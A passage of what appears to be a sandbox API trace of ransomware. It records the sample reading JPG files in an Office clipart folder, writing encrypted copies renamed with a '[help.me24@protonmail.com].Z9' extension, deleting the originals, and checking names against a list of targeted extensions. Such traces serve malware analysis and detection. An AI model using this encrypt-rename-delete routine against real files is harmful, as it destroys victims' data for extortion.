	[0180.696] lstrcmpiW (lpString1=".JPG", lpString2=".Z9") returned -1
	[0180.696] lstrlenW (lpString="J0145373.JPG") returned 12
	[0180.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145373.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x444
	[0180.699] GetFileSizeEx (in: hFile=0x444, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=17867) returned 1
	[0180.699] CloseHandle (hObject=0x444) returned 1
	[0180.700] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145373.jpg")) returned 0x220
	[0180.700] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145373.jpg.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0180.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145373.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x444
	[0180.700] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.700] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145373.jpg.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524
	[0180.962] GetLastError () returned 0x0
	[0180.962] ReadFile (in: hFile=0x444, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x45cb, lpOverlapped=0x0) returned 1
	[0180.990] WriteFile (in: hFile=0x524, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0x45d0, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0x45d0, lpOverlapped=0x0) returned 1
	[0180.992] ReadFile (in: hFile=0x444, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0180.992] WriteFile (in: hFile=0x524, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0180.992] SetEndOfFile (hFile=0x524) returned 1
	[0180.992] CloseHandle (hObject=0x524) returned 1
	[0180.992] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.992] SetEndOfFile (hFile=0x444) returned 1
	[0180.995] CloseHandle (hObject=0x444) returned 1
	[0180.995] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0180.996] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145373.jpg")) returned 1
	[0180.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68
	[0180.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68
	[0180.997] lstrlenW (lpString=".doc") returned 4
	[0180.997] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0180.997] lstrlenW (lpString=".docx") returned 5
	[0180.997] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1
	[0180.997] lstrlenW (lpString=".pdf") returned 4
	[0180.997] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0180.997] lstrlenW (lpString=".xls") returned 4
	[0180.997] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0180.997] lstrlenW (lpString=".xlsx") returned 5
	[0180.997] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1
	[0180.997] lstrlenW (lpString=".ppt") returned 4
	[0180.997] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0180.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68
	[0180.997] lstrlenW (lpString=".zip") returned 4
	[0180.997] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0180.997] lstrlenW (lpString=".rar") returned 4
	[0180.997] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0180.997] lstrlenW (lpString=".bz2") returned 4
	[0180.997] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0180.997] lstrlenW (lpString=".7z") returned 3
	[0180.997] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0180.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68
	[0180.997] lstrlenW (lpString=".dbf") returned 4
	[0180.997] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0180.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68
	[0180.997] lstrlenW (lpString=".1cd") returned 4
	[0180.997] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0180.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68
	[0180.997] lstrlenW (lpString=".jpg") returned 4
	[0180.997] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0180.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68
	[0180.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68
	[0180.998] lstrlenW (lpString=".doc") returned 4
	[0180.998] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0180.998] lstrlenW (lpString=".docx") returned 5
	[0180.998] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1
	[0180.998] lstrlenW (lpString=".pdf") returned 4
	[0180.998] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0180.998] lstrlenW (lpString=".xls") returned 4
	[0180.998] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0180.998] lstrlenW (lpString=".xlsx") returned 5
	[0180.998] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1
	[0180.998] lstrlenW (lpString=".ppt") returned 4
	[0180.998] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0180.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68
	[0180.998] lstrlenW (lpString=".zip") returned 4
	[0180.998] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0180.998] lstrlenW (lpString=".rar") returned 4
	[0180.998] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0180.998] lstrlenW (lpString=".bz2") returned 4
	[0180.998] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0180.998] lstrlenW (lpString=".7z") returned 3
	[0180.998] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0180.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68
	[0180.998] lstrlenW (lpString=".dbf") returned 4
	[0180.998] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0180.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68
	[0180.998] lstrlenW (lpString=".1cd") returned 4
	[0180.998] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0180.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68
	[0180.998] lstrlenW (lpString=".jpg") returned 4
	[0180.998] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0180.999] lstrcmpiW (lpString1=".JPG", lpString2=".Z9") returned -1
	[0180.999] lstrlenW (lpString="J0145810.JPG") returned 12
	[0180.999] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145810.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0181.043] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=36792) returned 1
	[0181.043] CloseHandle (hObject=0x370) returned 1
	[0181.044] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145810.jpg")) returned 0x220
	[0181.044] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145810.jpg.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0181.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145810.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0181.044] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.045] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.045] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145810.jpg.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0181.046] GetLastError () returned 0x0
	[0181.046] ReadFile (in: hFile=0x370, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x8fb8, lpOverlapped=0x0) returned 1
	[0181.284] WriteFile (in: hFile=0x550, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0x8fc0, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0x8fc0, lpOverlapped=0x0) returned 1
	[0181.286] ReadFile (in: hFile=0x370, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0181.286] WriteFile (in: hFile=0x550, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0181.286] SetEndOfFile (hFile=0x550) returned 1
	[0181.286] CloseHandle (hObject=0x550) returned 1
	[0181.286] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.286] SetEndOfFile (hFile=0x370) returned 1
	[0181.289] CloseHandle (hObject=0x370) returned 1
	[0181.290] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0181.290] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145810.jpg")) returned 1
	[0181.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68
	[0181.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68
	[0181.294] lstrlenW (lpString=".doc") returned 4
	[0181.294] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0181.294] lstrlenW (lpString=".docx") returned 5
	[0181.294] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1
	[0181.294] lstrlenW (lpString=".pdf") returned 4
	[0181.294] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0181.294] lstrlenW (lpString=".xls") returned 4
	[0181.294] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0181.294] lstrlenW (lpString=".xlsx") returned 5
	[0181.294] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1
	[0181.294] lstrlenW (lpString=".ppt") returned 4
	[0181.294] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0181.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68
	[0181.294] lstrlenW (lpString=".zip") returned 4
	[0181.294] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0181.294] lstrlenW (lpString=".rar") returned 4
	[0181.294] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0181.294] lstrlenW (lpString=".bz2") returned 4
	[0181.294] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0181.294] lstrlenW (lpString=".7z") returned 3
	[0181.294] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0181.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68
	[0181.294] lstrlenW (lpString=".dbf") returned 4
	[0181.294] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0181.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68
	[0181.294] lstrlenW (lpString=".1cd") returned 4
	[0181.294] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0181.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68
	[0181.294] lstrlenW (lpString=".jpg") returned 4
	[0181.294] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0181.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68
	[0181.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68
	[0181.295] lstrlenW (lpString=".doc") returned 4
	[0181.295] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0181.295] lstrlenW (lpString=".docx") returned 5
	[0181.295] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1
	[0181.295] lstrlenW (lpString=".pdf") returned 4
	[0181.295] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0181.295] lstrlenW (lpString=".xls") returned 4
	[0181.295] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0181.295] lstrlenW (lpString=".xlsx") returned 5
	[0181.295] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1
	[0181.295] lstrlenW (lpString=".ppt") returned 4
	[0181.295] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0181.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68
	[0181.295] lstrlenW (lpString=".zip") returned 4
	[0181.295] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0181.295] lstrlenW (lpString=".rar") returned 4
	[0181.295] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0181.295] lstrlenW (lpString=".bz2") returned 4
	[0181.295] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0181.295] lstrlenW (lpString=".7z") returned 3
	[0181.295] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0181.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68
	[0181.295] lstrlenW (lpString=".dbf") returned 4
	[0181.295] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0181.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68
	[0181.295] lstrlenW (lpString=".1cd") returned 4
	[0181.295] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0181.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68
	[0181.295] lstrlenW (lpString=".jpg") returned 4
	[0181.295] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0181.296] lstrcmpiW (lpString1=".JPG", lpString2=".Z9") returned -1
	[0181.296] lstrlenW (lpString="J0146142.JPG") returned 12
	[0181.296] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0146142.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0182.411] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=46508) returned 1
	[0182.411] CloseHandle (hObject=0x52c) returned 1
	[0182.411] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0146142.jpg")) returned 0x220
	[0182.412] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0146142.jpg.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0183.002] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0146142.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0183.003] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.003] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.003] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0146142.jpg.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438
	[0183.008] GetLastError () returned 0x0
	[0183.008] ReadFile (in: hFile=0x520, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0xb5ac, lpOverlapped=0x0) returned 1
	[0183.155] WriteFile (in: hFile=0x438, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0xb5b0, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xb5b0, lpOverlapped=0x0) returned 1
	[0183.157] ReadFile (in: hFile=0x520, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.157] WriteFile (in: hFile=0x438, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0183.157] SetEndOfFile (hFile=0x438) returned 1
	[0183.180] CloseHandle (hObject=0x438) returned 1
	[0183.190] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.190] SetEndOfFile (hFile=0x520) returned 1
	[0183.218] CloseHandle (hObject=0x520) returned 1
	[0183.218] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0183.219] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0146142.jpg")) returned 1
	[0183.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68
	[0183.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68
	[0183.220] lstrlenW (lpString=".doc") returned 4
	[0183.220] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0183.220] lstrlenW (lpString=".docx") returned 5
	[0183.220] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1
	[0183.220] lstrlenW (lpString=".pdf") returned 4
	[0183.220] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0183.220] lstrlenW (lpString=".xls") returned 4
	[0183.220] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0183.220] lstrlenW (lpString=".xlsx") returned 5
	[0183.220] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1
	[0183.220] lstrlenW (lpString=".ppt") returned 4
	[0183.220] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0183.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68
	[0183.220] lstrlenW (lpString=".zip") returned 4
	[0183.220] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0183.220] lstrlenW (lpString=".rar") returned 4
	[0183.220] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0183.220] lstrlenW (lpString=".bz2") returned 4
	[0183.221] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0183.221] lstrlenW (lpString=".7z") returned 3
	[0183.221] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0183.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68
	[0183.221] lstrlenW (lpString=".dbf") returned 4
	[0183.221] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0183.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68
	[0183.221] lstrlenW (lpString=".1cd") returned 4
	[0183.221] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0183.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68
	[0183.221] lstrlenW (lpString=".jpg") returned 4
	[0183.221] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0183.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68
	[0183.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68
	[0183.221] lstrlenW (lpString=".doc") returned 4
	[0183.221] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0183.221] lstrlenW (lpString=".docx") returned 5
	[0183.221] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1
	[0183.221] lstrlenW (lpString=".pdf") returned 4
	[0183.221] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0183.221] lstrlenW (lpString=".xls") returned 4
	[0183.221] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0183.221] lstrlenW (lpString=".xlsx") returned 5
	[0183.221] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1
	[0183.221] lstrlenW (lpString=".ppt") returned 4
	[0183.221] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0183.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68
	[0183.221] lstrlenW (lpString=".zip") returned 4
	[0183.221] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0183.221] lstrlenW (lpString=".rar") returned 4
	[0183.221] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0183.222] lstrlenW (lpString=".bz2") returned 4
	[0183.222] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0183.222] lstrlenW (lpString=".7z") returned 3
	[0183.222] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0183.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68
	[0183.222] lstrlenW (lpString=".dbf") returned 4
	[0183.222] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0183.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68
	[0183.222] lstrlenW (lpString=".1cd") returned 4
	[0183.222] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0183.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68
	[0183.222] lstrlenW (lpString=".jpg") returned 4
